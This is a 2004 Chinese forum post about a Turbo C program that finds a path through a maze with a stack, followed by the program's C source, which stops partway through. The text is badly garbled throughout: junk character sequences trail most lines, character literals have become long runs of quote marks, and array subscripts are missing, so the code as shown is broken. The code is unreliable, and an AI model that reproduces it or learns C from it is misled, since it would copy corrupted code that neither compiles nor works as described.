数学建模社区-数学中国

标题: C语言技术文章 [打印本页]

作者: 韩冰    时间: 2004-10-4 02:34
标题: C语言技术文章
<DIV  align=left>+ x( J% K8 d7 J1 L" K5 _% }+ h  V
< align=left>程序目的:+ H7 l9 ^# e6 p" N+ e6 e1 J
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并; v- L( B, S' t; V- V
显示在屏幕上。* ~. [9 _8 V. ^
程序实现:
# ~6 d6 ], l. f+ E1 S% ?7 d可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
4 i$ F, X; d& V: P* M文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载' }( g4 ^% j* y0 i$ w
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
( \7 H  w. ]! n& h+ b% a9 n时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
0 G' H  _- ^  M4 e" h* D6 A! _# U否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
9 M4 n7 b& X$ n6 i3 A/ H1 ~. E5 }# l用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以' E3 X3 Q- _. @% \! R
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,0 o: J2 m2 ^. T
找到路径时,屏幕下方会出现Path found,否则出现Path not found。4 W8 R$ k) v6 B0 u
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
, a0 {  [. H1 g不可以在VC上编译。
7 [- }5 q# T( {( w; _$ K下载DOS版和windows版的迷宫游戏全部代码
2 L4 I; `! h: |5 @用户名:migong ) W- |' g% |. Z* }2 ?) d. z
----------------------------------------------------------------------------------: X$ X1 L% E3 m5 Q
/*
) _0 \0 U. C9 N: }2 QMazePath Demo BY Turbo C 2.04 W( b: |& |$ d( j  V! V, u
Copyright(c) RoverUnion. All right reserved.. `3 ~) @% A7 ^. ]3 z* O
Filename: Maze.c
$ Y$ r, Y1 Q, T. Y+ j# AAuthor Dongchengyu.
0 k( O* _0 N+ z' p+ j# B8 p# dVer 1.10
. U$ {5 A' c" F, g, Y! U0 o*/
2 |" P2 G1 V& D#include &lt;stdio.h&gt;
& M, E9 K# A! E; f2 i- g7 _  R: |#include &lt;stdlib.h&gt;
. F: q5 X$ z) w# y#include &lt;malloc.h&gt;
. H5 R- l) O/ B2 P3 j: s( t. }+ n#include &lt;conio.h&gt;6 P$ L, O4 s) S
#include &lt;dos.h&gt;
6 K; B# C; S/ ?' |#define OK 1: x) [0 v: y" O1 g5 L
#define ERROR 0( s9 u" `3 J1 Y% t4 @* \
#define TRUE 1
( s- j+ V" }7 @( V4 K: ?1 W#define FALSE 0
, W0 v: n; Z5 _#define F9 0x43' [7 C+ n. A; c6 c
#define Esc 0x1b
  N1 Z1 d' l- h% q) k+ [/ A! [) h#define Del 0x53
8 s: c# g% w5 ^0 z7 i#define Home 0x47: x, \: [0 f2 Y8 h% b/ \  ^) y0 O
#define End 0x4f
; H9 I5 e0 t: |; A  P#define Space 0x20
' B* T  T/ c% `. g#define Up 0x48
: M% s. A' L) {8 y3 C0 {) V: d! ]#define Down 0x509 l  e) g, s. ?0 I6 |, a0 P, q
#define Left 0x4b; }( k9 U; ^' {
#define Right 0x4d1 g; \+ Q. Y. J: p
#define Enter 0x0d
4 C2 T$ g$ A7 M% t#define F2 0x3c/ b8 g8 b% {1 g4 X
#define F3 0x3d
( n% F( [8 w9 i, B! Q#define STACK_INIT_SIZE 2003 b, l. h' W$ [. ?! Z% Z/ w
#define STACKINCREMENT 10
; o+ K7 {" o9 V4 N9 ?typedef int Boolean;; y) d* |+ ^0 Z' x* D6 s* [
typedef int Status;
$ e. \7 o! l* v/ r7 J& \0 ktypedef struct {
* w1 d% a; q6 Yint x;6 Y9 B7 g6 I: v7 Y: o
int y;
$ G* e: ~- x4 O- w; }+ I} PosType;
7 u6 W. t5 F  Y5 Ftypedef struct {
" W7 s0 \) ~% x" E) J, Yint ord;
3 i- d1 a; \$ a+ s' a7 jPosType seat;
, F7 Q2 _) f& w' a' ]3 Kint di;
" c5 J$ t( V7 k: N2 Q} SElemType;
! V$ o8 l0 L1 A8 Y6 itypedef struct {
- G, o6 `& [% @1 z4 {2 t6 A3 {int td;* W' O: Q# x4 }* a; V# Q" e6 D0 c
int foot;
" B! s( H8 ]0 jint mark;
. B: T2 K: }( @( Y7 I} MazeType;/ B: [* M) D. Q' L5 ]3 ~0 I
typedef struct {
4 U2 J4 M7 Y0 r" J" USElemType *base;
8 @' s: M! y& \+ E) _: K& oSElemType *top;
$ Q0 R% J+ X6 l) K$ q: u. S( D3 \int stacksize;
- s" i. x( W" W* _: M  T* |3 T} Stack;  \/ l8 h$ u( I
int Maze[20][30];' ~; _" a, ~2 Z" b% h& @1 B" i
MazeType maze[20][30];4 |# j- _5 y$ n
PosType StartPlace;% U" I3 i3 c8 m! V4 A
PosType EndPlace;
; |5 a% R& m" v8 {int count;, p) R8 m  A$ p( T7 {/ n
int m,n;8 X% ~0 ^* S3 M$ F
Boolean b_start=FALSE,b_end=FALSE;/ w9 A2 K9 p% f
void CreatMaze(void);
) u. b( r* s; n  lStatus SaveMaze(char *filename);9 w, s) j% A+ @
Status LoadMaze(char *filename);
3 x/ r& o3 w( Svoid Error(char *message);
" Y* ^- Q5 \$ u2 B' o5 k% {/ I# |8 u% [Status InitStack(Stack *s);' h. V+ ^4 ~. S% L0 b
Status DestroyStack(Stack *s);
9 q* @; C6 f+ x1 p% d+ bStatus ClearStack(Stack *s);
! W# H' x4 x8 VBoolean StackEmpty(Stack *s);/ {  _/ H9 T: N5 e
int StackLength(Stack *s);
# q$ w9 P* O- y+ ]  `Status Push(Stack *s,SElemType e);6 U% f4 u+ Y9 S" m: T
SElemType Pop(Stack *s,SElemType e);3 H7 o# q' j; _  Y4 q5 r  C! r) M
Status GetTop(Stack *s,SElemType *e);
" a; x/ r1 F' S% F: S; w$ qStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));2 T1 c9 w+ L  F: \! o
Boolean Pass(PosType curpos);
( ~' }+ \7 Z8 m5 D8 v7 K. [void MarkPrint(PosType seat);
. z6 e# F% ~) r4 ^" lvoid FootPrint(PosType curpos);
4 w9 Y2 `6 M8 A! P0 VPosType NextPos(PosType seat,int di);. K, M, R' i. r$ n0 e
Status MazePath(PosType start,PosType end);; P& d/ ^+ d# q6 S4 Z% D/ n
void CreatMaze(void)
/ V0 q' R- W: \# R* \, F, ]3 U/* Form the maze. */3 Y: y6 R+ q7 _/ t
{
; k3 M  p# f, f) T. N+ m7 p4 r$ Cvoid Error(char *message);( l. E9 X; s% i! a
Status SaveMaze(char *filename);* x3 r1 ~) |% S: V9 |' R( w6 X
Status LoadMaze(char *filename);
( F) V4 v4 V' t1 ~2 vint i,j;; ^7 ~9 b$ B* u* {9 r* P" D
int x,y;- H/ `* S, {' m
char c;- Y5 H' Z1 d, ^1 F! t: L) n
char savename[12],loadname[12];) ?; J+ F5 M2 U. `7 [
Boolean flag=FALSE,load=FALSE;/ I, _* {1 o# |% @, o
clrscr();0 t! K0 v& w$ b
printf("Menu:\n\n");
9 A% T9 S' c" K- }. @( Z0 `printf("1.Load Mazefile*.dd)\n\n");1 _7 |) v1 a, m1 \
printf("2.Input Maze:\n\n");
+ P# {+ P1 Q) ]" s5 H, Tprintf("Input your choice: ");
1 k) n0 i6 b( O1 Z! hdo
, l  q2 S/ g9 r8 A" d{9 Q2 I" A) ?) @/ `9 R
c=getch();
9 S$ E) I- |0 u1 G& F# o. `/ g+ Q6 M/ nswitch(c)
3 j+ @  M6 L1 b8 n{
% i& v8 g# d0 A' zcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
9 v% L- W/ ]) |case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
) t# D. m" N+ H7 {& i5 Rcase Esc: sleep(1); exit(1);
. R' |4 g' J9 `/ H( r* O4 Wdefault: break;
( c  h) _5 r) w5 r. k5 ~- T; R& `}: {- K& F- p: Y3 B# X( T
}) [: {  a3 f) y- a3 R
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
, S0 V& S: V- P6 x# h, `* w% A* Gif(c==''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''), `7 J6 D, v1 Z5 [
{
4 ?1 l* i# ]7 @8 yprintf("\n\nLoadName: ");+ B0 V0 R) d" `8 j- p
scanf("%s",loadname);
; J8 z& Z9 R# Q% Zif(LoadMaze(loadname))
4 ^$ i/ J; ^3 p% q{
- U. Y& T6 p6 |. ~/ S( [/ isleep(1); load=TRUE;- K  |+ v& r+ t, T' T. n# u) p
}
3 o( h! m* P0 }1 jelse { gotoxy(1,9); printf("Load fail! "); }
/ A- p' I% I! B* g3 L}
* V; u8 f2 X& j- H6 Rif(!load)
2 H0 y# w% q% u$ S4 n7 L8 m+ ^{2 b3 _6 R1 B( A
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");# A- g6 n* m' M4 v- T' A. E. Q
printf("\nInput Length :\n");" h! q( d2 d0 {8 d8 X4 O3 s
scanf("%d",&amp;m);* p7 R0 t0 ]- v5 y, n/ C9 @+ l- o
printf("\nInput Width :\n");( a# o/ H) P3 b8 Z3 y; U7 n$ k" o
scanf("%d",&amp;n);1 N6 Y, D" c' p
if(m&lt;4||n&lt;4) Error("Input");' |1 V# U/ H: J( x. D
if(m&gt;30||n&gt;20) Error("Maze too large");
, A2 r8 A9 i9 [for(i=0;i&lt;30;i++)+ Q' Y! p6 R# I/ f
for(j=0;j&lt;20;j++)
8 E# s0 Q) ^1 B% G, dMaze[j]=2;
$ e$ }# A7 g/ S) I$ O0 yStartPlace.x=0;/ d: s6 ~& P# B* {- D
StartPlace.y=0;
5 h# {5 O, Z% S# bEndPlace.x=0;1 t4 y( o! c9 w9 C, L
EndPlace.y=0;) H: c3 l, i. _  [. U( a
clrscr();4 F& D) w2 m: E% T. H$ O% u
printf("\n");
' \% y. k' a* @  ?8 u8 lfor(i=1;i&lt;=n;i++)
( `( H0 r/ r# P& n{
$ w" Q2 y5 ?. s) ufor(j=1;j&lt;=m;j++)1 c( j4 Y; X  M; G; }. h
{7 A/ v! ]& L# f
printf(" #");; d, ^% v: x$ g
Maze[i-1][j-1]=0;1 p# ?8 o' B, f5 |, C. D0 l3 W
}
' f" @& S  \" k3 x3 J* j% {' ]printf("\n");
# t$ {6 R. x3 F0 l& O4 h  l% X+ b}
& y) f. r. }& A1 s0 O3 m}* w8 Y8 e0 V3 R
gotoxy(65,5);
2 @" e; @: P& v* [4 c; O1 kprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
, u0 y& @4 m. _3 Ggotoxy(65,7);. e& Y6 N7 \: R$ N0 ~
printf("Start:Home");! g" T( o' c! l3 X$ V4 E
gotoxy(65,9);) s$ v. Q" _- r0 C& }
printf("End:End");
$ _( g" I; t* N! ggotoxy(65,11);9 J: N# R# ~9 g' v3 c. S% N+ Y
printf("Delete Wallel");* C/ Q, E( D+ k9 w
gotoxy(65,13);7 p" j/ `. N( Y, l
printf("Enter Wall:Enter");. A  Y! ]6 e2 U+ F2 s/ {1 a, p8 ]' G5 y
gotoxy(65,15);
+ Y8 `! K( U0 f. e' W4 S4 t. ~printf("Save Maze:F2");; s/ l. x$ g9 h  X- x' T0 u. e
gotoxy(65,17);
. \! I8 U+ e& ]. w7 |8 G. rprintf("Complete:F9");; ^# A: }9 a+ @. ?, B6 \
gotoxy(65,19);3 m, M( r" Z2 X$ i7 l2 P; G& k& x
printf("Exit:Esc");
4 y& K8 S2 y* m% z+ a' K- Rgotoxy(4,3);- G. H$ e) O7 d, S" J$ Z
x=4;y=3;( d' J- R5 b. n
do- a4 O9 U  @/ O; k$ n
{
4 P9 Y% L4 U. Y+ W' u+ jc=getch();
- B! c1 }" K2 ^8 oswitch(c)  @( |, F% s: W1 O4 v; r9 f
{
* _1 }& w2 r5 q* f$ l! Wcase Up: if(y&gt;3) { y--; gotoxy(x,y); }6 s# ]- I- s( C1 f. e
break;" n0 U( J/ w% P+ V- w2 _( i5 e
case Down: if(y&lt;n) { y++; gotoxy(x,y); }
9 F# v7 u" B7 Q# @2 k: wbreak;5 x7 B; Z" x3 K  v, t( B6 {2 J4 m
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
0 ]3 S9 B+ ?8 a' Bbreak;
$ H+ m% K$ w5 C8 ucase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
$ X1 U3 k; I7 y% qbreak;
  S( y" D) T' o& q* O3 e7 L- `case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
% }& c8 }' }0 Nif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
- m5 {  S, n# @6 z7 _putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);, e# l+ V+ f# J3 Z' ~, o7 H& F
break;
; q7 J- ?* d7 Q2 v% ucase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;, d6 I6 `: n- ?1 W8 K' _+ u; H/ H+ g  p
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;2 r" @" I% F3 H% @. y1 J" J- n
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
6 z1 Q) k) F! a) I+ o. F: P0 ybreak;. K  N! V, I. s% Z3 g
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
/ \2 F8 i9 N4 Z* L. ?{
' D$ L& W1 V, I2 `" c4 |, H  O9 F  bStartPlace.x=x/2-1;
7 y: ~6 F6 J9 w- @2 w( l4 a& _StartPlace.y=y-2;
4 a/ R& t5 ^. @  ~/ U6 t4 kputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
/ ]" N5 \' y* Q" e' `3 ngotoxy(x,y);
" U  R* U( w4 U+ ]- ~b_start=TRUE;
+ T3 w2 S( n! U) V}
8 t' p- Y1 C( j3 t$ J; _break;) i) Z, f( L0 M/ `$ m# X
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
2 ~8 I) T5 k4 i5 a{
6 z! s7 N6 z% Y2 x$ X. {) cEndPlace.x=x/2-1;* H: J2 R' n. K: x( L  m. a1 e* n; s
EndPlace.y=y-2;: b+ Q* ?% T7 C% j. l
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');- a$ s7 \* _( M' G! B
gotoxy(x,y);0 U6 W9 U. |) q- d- v; q6 |( m* o
b_end=TRUE;
$ u4 F, T3 d3 j4 v/ b4 ]}3 g, A4 P, x) V, N1 u, D6 ~
break;  p/ ~0 Z; z; c' Z  {2 F; W
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);" g4 Z) n' R9 O. n5 a& s( g
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
# c5 R* Q( K8 f4 L" [2 c2 p% Pcase F2: gotoxy(2,22);  j1 h7 P+ q; p8 N
printf("Savename:");
4 g; S' V* M! h4 d  p. N# {scanf("%s",savename);! e! G0 ]# X" `4 @  u+ \0 `
gotoxy(2,22);) K, T2 W/ @4 |- G5 l0 Y
if(SaveMaze(savename)) printf("Save OK! ");
: W' E  c1 q. N) v9 d  y7 i; ^% K& Felse printf("Save fail! ");/ ]0 Y0 g, N! _  b3 K) i
sleep(1);1 K2 Q  J% s2 `( t) l$ E
gotoxy(2,22);
" X) u8 d% i) w( Lprintf(" ");
" w5 [9 d1 [' O0 h  Sgotoxy(x,y);5 _/ G- ?& @5 |4 y1 {
break;
- t" D" |# c" s1 _- x8 w' G$ qdefault: break;
% ]" o( {* Z5 `7 {! @2 R7 \" f) v}( K" Z/ k7 S- u
}
5 c0 R! ?9 C7 @! v* Lwhile(!flag);3 K+ U0 ?5 j+ Q. o  r1 I
for(i=0;i&lt;30;i++)
8 T' Q( A' k( u& _for(j=0;j&lt;20;j++)
' O  V! a0 d! _/ G# c" h{3 x$ m- s  w& p, {% n( @. t( M1 {) F
maze[j].td=Maze[j];* b- z: A# F' c
maze[j].mark=0;7 z, D; g8 S' v" G' R. }
maze[j].foot=0;( x% ]+ C; N' {
}8 l- a4 ?" x- `; M8 }+ @* J: j+ |
}
% U/ h6 N8 s7 k( \/ D* b5 HStatus LoadMaze(char *file)# P9 _  |+ i; F( y& z1 q7 R
/* The maze has been loaded. */' J" q; D' |) w" e4 o9 P" o3 }+ n
{1 ^% k2 l- o% A. e
FILE *fp;" Q4 D" b8 X- g. {2 S7 S7 w
char *buffer;  p  ]* Q" Q. E9 k/ ]
char ch;. K! t& ?2 e% d: _/ K. S
int i=0,j,k;
9 p' s9 ^& y; A8 uBoolean len=FALSE,wid=FALSE;& d2 x! K$ F/ ?& H# X
if((fp=fopen(file,"r"))==NULL)
* |7 {6 R. r. Q9 \  \) B$ @7 ~/ s' sreturn ERROR;; J; i3 q5 q8 o: T, q- U6 S6 _
buffer=(char *)malloc(600*sizeof(char));) H$ l6 U9 n4 T$ b2 s/ z" ]5 g
ch=fgetc(fp);
" v5 M& ?# p& x0 c" m9 f( vwhile(ch!=EOF)/ }% q- P# W) S5 j
{
4 k: c* q$ U1 tbuffer=ch;: M& t: a; y7 e$ g3 Q
i++;& u3 d, f5 h1 E! c
ch=fgetc(fp);
) I& ~6 s$ [) M( `$ {5 z}6 [7 p5 ^; l4 B6 O
m=30;n=20;  Y& C& ?% ?, L# t( h3 e& I
for(i=0;i&lt;600;i++). Q- I$ @4 D+ o# q
{, x2 n) m7 O" c9 n! Z& e
j=i/30; k=i%30;5 F+ T% V: Z8 v7 N; U
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }# N1 J# d: o6 V* `# z7 i
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }; [  m& n7 A, G1 N
switch(buffer)' J. J* w- Q) b0 V3 R4 b& N, e
{7 N' r) h1 I( c1 T3 z
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
! T! c# N1 j6 f, n* \- Rcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
  J  V# F8 f+ g2 Gcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
8 s! A6 u  R5 x1 ^% i, V: ^" _case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;% {# y1 F9 v, e8 x& V
StartPlace.x=k;
9 V% g1 ?: b/ C$ A. WStartPlace.y=j;
7 c4 q+ _4 A0 m% g) u' nb_start=TRUE;
5 D1 s0 [5 h& l: [break;( I) z  J( B4 u' x  B$ @/ H
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;! ]( G1 s( a! F' ]4 B2 O
EndPlace.x=k;
4 b6 F+ O  X6 D# @: ^EndPlace.y=j;
* y- \; D& ?1 zb_end=TRUE;5 h1 B; Y' |) t
break;: M! J) b0 z6 U, o& U3 ?/ S
default : break;+ V1 |2 \, y# `/ R$ o5 R
}
& x' Z0 j" C" d' b6 w# m}- M5 Q" }' U1 u% t  j0 x- T
fclose(fp);3 Y" ]& R9 I+ n( A5 G
clrscr();+ Q# J' ?; E6 U1 S. x( ?
for(i=0;i&lt;30;i++)
7 ^6 P( L4 q% B2 z: {& T; I% Hfor(j=0;j&lt;20;j++)
5 H8 |% t9 f/ \: q( U2 M0 K{
# ~: [4 m+ O" R; c3 \3 B5 Ymaze[j].td=Maze[j];
# k* y% U  E3 _2 cmaze[j].foot=0;
5 u6 S0 b9 [7 k" {maze[j].mark=0;5 X) d# d. l! P. B% I2 T
if(Maze[j]==0)
" j% X) q, A3 u- \4 b{
# j8 j: E- l' `' ]0 l. ~gotoxy(2*i+2,j+2);
- N$ a$ I' ~' x1 h8 G, Oputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
/ r, `. i9 O; \% u; h}
& k% g  H1 J7 E. C# |3 }3 [1 K9 {}
" k! B5 _4 I% t8 t- S$ lgotoxy(2*StartPlace.x+2,StartPlace.y+2);
: `4 V/ j! k( r( c  ?# ?5 \putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
& Q3 v0 Z4 [4 B' {/ egotoxy(2*EndPlace.x+2,EndPlace.y+2);
9 _$ c2 V3 t3 |% V1 |( ^; }0 Uputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
8 K1 o7 s3 i: Z  x" ]% t. o1 kreturn OK;
( s! X5 Z4 a7 A; U' I. W# d1 |}
. I9 p2 @7 z6 v6 b2 h  fStatus SaveMaze(char *filename)
) W( M  I. K& @8 I& ~  p4 D/* The maze has been saved. */, ^, t4 X) u  L6 e8 P
{: k% i& e8 h5 v3 ~5 X; x# n
FILE *fp;
1 _& y, n: T1 X* {8 C# L7 tchar *buffer;9 z3 a: w' W) f  v. u' Z# U
int i,j,k;4 j$ x  H% A% d, a$ f: O; u
fp=fopen(filename,"wb");! _! m, S1 B' J$ v$ b
buffer=(char *)malloc(600*sizeof(char));
2 s/ J& ]! O" O% R4 h  [% U' h' hfor(i=0;i&lt;600;i++). M' y: C  G" C! ^9 z5 x! k- A
{- r) J  S) u2 `" K1 V6 k- m* I# j
j=i/30; k=i%30;
3 _2 r1 Z+ u% P$ [  Nswitch(Maze[j][k]); @% j' c1 {5 B9 _0 i! B9 o# F
{) k  P/ A8 ], q7 o7 `( C
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;  _0 _0 E% E; v) n9 D% v, q
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;" L8 i) H4 V2 W9 I6 T5 x
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
" U8 E0 D4 V: Q: edefault : Error("Write"); break;; x4 \. ?/ E4 c
}
2 V! i8 N( U0 Rif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';/ P+ D2 X( H! ~& C
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
* I% u4 @& `5 P9 V  R3 H}
- S8 o$ I7 T' {- cfwrite(buffer,600,1,fp);/ l; S1 X5 {9 B. \
free(buffer);
2 p# E5 @! H. @  ~5 E0 e# xfclose(fp);& R- {* _- j+ W, D8 X
return OK;
- P$ F( a# ^" p9 S}
2 z$ E  [1 t! h% Zvoid Error(char *message)
/ W$ R+ Y: E$ z; m2 c! @" {: ]5 @{
' ^, ?4 d5 H! s) t! @( `9 G/ zclrscr();% l7 S4 T& H+ x- j
fprintf(stderr,"Error:%s\n",message);) o) w6 z* A( j0 ^
exit(1);
& i" N$ ]9 j; C) s" e} /* Error */+ c/ h# X8 p7 }' W! A( |
8 _* b# X; q, F1 d
Status InitStack(Stack *s)
  A) `% [+ ]! C* l2 u  M/* The stack s has been created and is initialized to be empty. */
" r4 [5 D+ e$ r0 }{" b" H9 @0 N& ?- L
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));, i  U. L$ A9 Z" ]
if(!s-&gt;base) Error("Overflow");
9 P" U! _8 o- W0 I' u/ e" zs-&gt;top=s-&gt;base;. a' g8 K* U1 M) v2 i) x* F7 L
s-&gt;stacksize=STACK_INIT_SIZE;6 x" {. e, X+ N! ?7 ?& r  ]
return OK;0 h- A" B! |) x) c9 G7 N7 n# O
} /* InitStack */
* y8 |0 f. X, k& WStatus DestroyStack(Stack *s)
4 l. X5 x) _* y( ^/* The stack s has been destroyed. */
% w! o8 |2 ~+ E. M{
/ Z9 g4 n( a% C7 f- w1 _* Z  Gs-&gt;top=NULL;
) J: M! ]# @* b6 ?# Y# _s-&gt;stacksize=0;
& E1 {& C9 G% T7 K# nfree(s-&gt;base);$ z2 I# W' a$ V: }
s-&gt;base=NULL;% g: u2 _) d. X+ q+ z
return OK;( t- E9 O8 a* {5 E0 B* c; G
} /* DestroyStack */
4 D7 X5 @5 Y" p; F- E  yStatus ClearStack(Stack *s)+ ^# V. Y, l0 w
/* The stack has been clear to be maximum. */
; q' e: C+ ]( X' a6 C( G{: C# ^5 P" M5 j% @" J# H
s-&gt;top=s-&gt;base;! s  p* W) _8 A. h5 C
s-&gt;stacksize=STACK_INIT_SIZE;
, H/ I. D2 p2 @4 ureturn OK;
# H$ z6 o5 q: [. @1 c! n2 y} /* ClearStack */: B; @# t: I. y% o2 Z) N* h( M
Boolean StackEmpty(Stack *s)+ r( f5 Z  A2 `2 L" e
/* Check if the stack s is empty. */
9 V' n" z: b$ r{; ?  `& b' z- @: t; ^# k
if(s-&gt;top==s-&gt;base) return TRUE;- Y! G; N$ M. P% N3 ~
else return FALSE;& J1 G1 O1 o% O) k& J0 ~; i
} /* StackEmpty *// V6 d/ i$ x9 z! P9 l" _. U+ d* C
int StackLength(Stack *s)
: K: T4 {" H# M- N2 C' I3 ]0 S/* Gain the length of the stack s. */* c% C& ^3 t# R$ H3 T$ v! z
{
5 c4 N8 p# R* D  kif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
( f0 P: Y! q: d1 v& Felse return 0;
7 Q7 ~& n- }/ l6 T) r( T} /* StackLength */0 d* W& J6 X* H3 t1 k
Status Push(Stack *s,SElemType e)
; v- }* p% u% ~& |, v! d' L5 Z2 H6 n/* The element e has been pushed into the stack s. */
2 X0 m6 w) d8 k4 F9 F5 Y{3 r. n$ r1 f# L# g9 ^# r! `
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)6 c- J+ M* e& a2 T) l% I! @
{
. B% J4 D4 `. G+ ?; y' \6 j4 y$ [s-&gt;base=(SElemType *)realloc(s-&gt;base,1 N3 w7 E0 O. k7 [, H
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));4 A( ^. `8 f# ?! b( [
if(!s-&gt;base) Error("Overflow");
' L/ z8 n& Z7 }' H: ms-&gt;top=s-&gt;base+s-&gt;stacksize;
$ J, D8 \7 L: b9 Ls-&gt;stacksize+=STACKINCREMENT;
" e8 C0 G* x; D; K/ M}# ^9 ?3 ?# l+ _: e/ e; A% D
*s-&gt;top++=e;; B! G- |( M. k
return OK;
6 E( w, |5 l) d4 v2 K: f: S} /* Push */9 T  X3 g- ~& G. Q: t( N0 D
SElemType Pop(Stack *s,SElemType e)
& ~, p! L+ L$ e/ p# a4 A/* The element e has been removed from the stack s. */, A0 s: k+ F8 t/ |' O/ N3 h' \
{
$ D3 q8 M+ e2 p2 cif(s-&gt;top==s-&gt;base) Error("op");
9 V: {6 W+ v- E1 `( ae=*--s-&gt;top;
( H" D2 ~( n/ T/ N0 ?$ m/ Kreturn e;
( a' j, S: ?6 \% d, Y: h( O} /* Pop */
+ M0 g+ D3 H) sStatus GetTop(Stack *s,SElemType *e)( y( _2 h4 J+ D+ `7 ?
/* The element e has got to the top of the stack s.*/
' }9 E. y5 M( w& K+ J0 a: N{
/ @: r% v, x( B+ p' _8 f6 kif(s-&gt;top==s-&gt;base) Error("GetTop");  u: Z4 U$ N/ J6 \  i
*e=*(s-&gt;top-1);
2 Q( b3 ]# H) m  d* E7 {& Wreturn OK;9 t" ?) |" l* D% j; ?1 W/ t
} /* GetTop */4 ~% _1 {) d& ~. \; x5 }% {
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */. Z  ^: [  a1 d3 v9 N0 Y
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
8 ?* O- _, L7 D# t4 T{
8 s! d' O7 N7 B# p( V% hSElemType p;& ]& Q6 ?2 Q+ i& y* y5 K
int result;, h7 |9 B. D7 k/ t0 `$ o) O
if(s-&gt;top==s-&gt;base) return ERROR;
* H1 d! P! a, i. R4 gp=s-&gt;base;
0 A1 X5 y$ B5 Xwhile(!(p==s-&gt;top))$ f7 V3 @8 a. v( b' Q
{8 M5 }& Q2 J  f7 a+ K* q% Q
result=(*visit)(p);' g8 q4 ?2 Z( o$ L. R- G
p++;  t1 S4 y+ j0 I* q
}: M6 t% ~8 T2 N
return OK;
4 p* b0 `! {3 I} */& m* I9 |2 E. @5 Y
Boolean Pass(PosType curpos)
! J: \0 j1 `# _$ V. F. j/* Check if the current position can be passed. */- x# T! l% r+ ]* X/ V2 @: O
{4 F3 u( C' d2 E7 X: V; u4 u
if(maze[curpos.x][curpos.y].td==1&amp;&amp;. G7 H- I6 |; i; j" p, k0 @
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
( _7 y/ |+ Z6 S7 {) Q* x1 E! ureturn TRUE;
) y; c& d9 L2 Q8 Xelse return FALSE;
! \' q7 v& Z& |* L+ ]1 C8 x7 N" b} /* Pass */
: x! m3 C! B* [+ D; Q! Y9 g& Wvoid MarkPrint(PosType seat)$ Y4 x, a. G" W. Z
/* Mark the position seat. */
+ L5 c9 q" p  l/ H5 \  {{# n& X: O# A2 _/ C2 J7 d: R
maze[seat.x][seat.y].mark=-1;
